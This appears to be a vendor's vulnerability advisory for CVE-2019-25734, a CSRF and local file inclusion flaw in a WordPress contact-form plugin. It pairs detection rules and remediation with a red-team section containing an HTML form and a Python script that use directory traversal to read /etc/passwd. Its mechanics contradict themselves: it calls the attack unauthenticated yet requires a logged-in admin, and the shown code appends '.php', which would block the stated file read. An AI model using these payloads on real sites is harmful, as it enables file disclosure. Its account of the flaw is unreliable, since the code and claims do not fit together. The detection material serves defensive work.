CVE-2019-25734
Executive Summary
CVE-2019-25734 is a critical vulnerability in the WordPress plugin Contact Form by WD version 1.13.1. It combines a Cross-Site Request Forgery (CSRF) vulnerability with a Local File Inclusion (LFI) flaw, allowing unauthenticated attackers to include arbitrary files on the server. The attack exploits unsanitized action parameters in AJAX requests to admin-ajax.php, using directory traversal sequences to load sensitive files. The CVSS score is 4.0 (Medium), but the real-world impact is elevated due to the potential for information disclosure and further exploitation. No official patch has been released, making this a persistent threat for sites running the vulnerable version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not managed via NPM, PyPI, Go, or Ruby, but its inclusion in a WordPress site introduces a supply chain risk. Site administrators must manually update or remove the plugin to mitigate the threat.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
- Base Score: 4.0 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link or form
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – limited file read
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The threat level is elevated due to the combination of CSRF and LFI, which can lead to disclosure of sensitive files like wp-config.php or system files.
Deep Dive & Mechanics
The vulnerability resides in the admin-ajax.php endpoint of the Contact Form by WD plugin. The plugin registers AJAX actions without proper nonce verification, allowing CSRF attacks. Additionally, the action parameter is not sanitized, enabling directory traversal.
Attack Flow:
- Attacker crafts a malicious HTML form or link targeting
wp-admin/admin-ajax.php. - The form includes a
GETparameteractionwith a directory traversal payload, e.g.,../../../../etc/passwd. - An authenticated administrator (or any user with AJAX access) clicks the link or submits the form.
- The server processes the request, including the malicious file path, and returns its contents.
Root Cause: The plugin uses $_GET['action'] directly in file inclusion functions without validation or sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (Contact Form by WD 1.13.1):
// In admin-ajax.php
add_action('wp_ajax_nopriv_contact_form_wd', 'contact_form_wd_ajax');
function contact_form_wd_ajax() {
$action = $_GET['action'];
include(plugin_dir_path(__FILE__) . $action . '.php');
}
Patched Code (Hypothetical fix):
// In admin-ajax.php
add_action('wp_ajax_nopriv_contact_form_wd', 'contact_form_wd_ajax');
function contact_form_wd_ajax() {
// Verify nonce
if (!wp_verify_nonce($_GET['_wpnonce'], 'contact_form_wd_nonce')) {
wp_die('Security check failed');
}
// Sanitize action parameter
$allowed_actions = array('submit', 'verify');
$action = sanitize_key($_GET['action']);
if (!in_array($action, $allowed_actions)) {
wp_die('Invalid action');
}
include(plugin_dir_path(__FILE__) . 'actions/' . $action . '.php');
}
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC) Exploit:
<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="GET">
<input type="hidden" name="action" value="../../../../etc/passwd">
<input type="submit" value="Click to exploit">
</form>
</body>
</html>
Usage: Host the HTML file on a server and trick an authenticated WordPress admin into clicking the submit button. The server will return the contents of /etc/passwd.
Advanced Exploit (CSRF + LFI):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
payload = "../../../../etc/passwd"
params = {'action': payload}
# Requires victim to be logged in (session cookie)
response = requests.get(target, params=params, cookies={'wordpress_logged_in': '...'})
print(response.text)
Blue Team
Detection Steps:
- Monitor
admin-ajax.phprequests for unusualactionparameters containing../or..\\. - Check web server logs for directory traversal patterns in GET parameters.
- Use file integrity monitoring to detect unauthorized file reads.
Lab Setup:
- Install WordPress with Contact Form by WD 1.13.1 on a local server.
- Use Burp Suite or OWASP ZAP to intercept and modify AJAX requests.
- Simulate the attack by sending crafted requests to
admin-ajax.php.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests to
/wp-admin/admin-ajax.phpwithactionparameter containing../or..\\. - Outbound connections from the server to unknown IPs (if exfiltration occurs).
- HTTP GET requests to
- File IOCs:
- Unexpected inclusion of files like
/etc/passwd,wp-config.php, or.htaccessin AJAX responses.
- Unexpected inclusion of files like
- Log IOCs:
- Web server logs showing
admin-ajax.php?action=../../../../etc/passwdor similar patterns.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2019_25734_ContactFormWD_CSRF_LFI {
meta:
description = "Detects exploitation attempts of CVE-2019-25734 in Contact Form by WD"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25734"
strings:
$traversal1 = /action=[^&]*\.\.\// nocase
$traversal2 = /action=[^&]*\.\.\\/ nocase
$ajax_endpoint = "admin-ajax.php"
condition:
$ajax_endpoint and ($traversal1 or $traversal2)
}
Sigma Rule
title: CVE-2019-25734 Contact Form by WD CSRF LFI
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects directory traversal attempts in Contact Form by WD AJAX requests
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains|all:
- 'action='
- '../'
condition: selection
falsepositives:
- Legitimate use of directory traversal in other plugins (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25734 Contact Form by WD CSRF LFI"; flow:to_server; http.method; content:"GET"; http.uri; content:"admin-ajax.php"; http.uri; content:"action="; http.uri; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the Contact Form by WD plugin until a patch is available.
- Implement Web Application Firewall (WAF) rules to block directory traversal patterns in
admin-ajax.php. - Restrict access to
admin-ajax.phpusing.htaccessor server config:
(Note: This may break legitimate AJAX functionality; use with caution.)<Files "admin-ajax.php"> Require all denied </Files>
Long-term Mitigation:
- Replace the plugin with an actively maintained alternative.
- Enforce strong CSRF protections (nonce verification) in all custom plugins.
- Conduct regular security audits of WordPress plugins.
Patch Status: No official patch available. Users must manually apply the hypothetical fix or remove the plugin.
Valters IT